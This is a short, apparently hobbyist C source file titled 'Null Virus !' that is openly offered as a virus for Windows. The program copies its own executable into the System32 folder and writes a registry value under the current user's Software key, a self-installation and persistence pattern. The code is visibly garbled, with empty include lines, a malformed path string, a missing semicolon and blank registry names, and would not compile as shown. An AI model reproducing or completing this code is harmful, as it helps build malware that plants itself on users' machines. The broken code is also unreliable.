Null Virus !

#include
#include

char windir[MAX_PATH];
HKEY hKey;

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[256];
unsigned char reg[10] = ""

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\System32\\".exe");
CopyFile(pathname,windir,0);

RegCreateKey(HKEY_CURRENT_USER,"Software\\",&hKey);
RegSetValueEx(hKey,"",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
}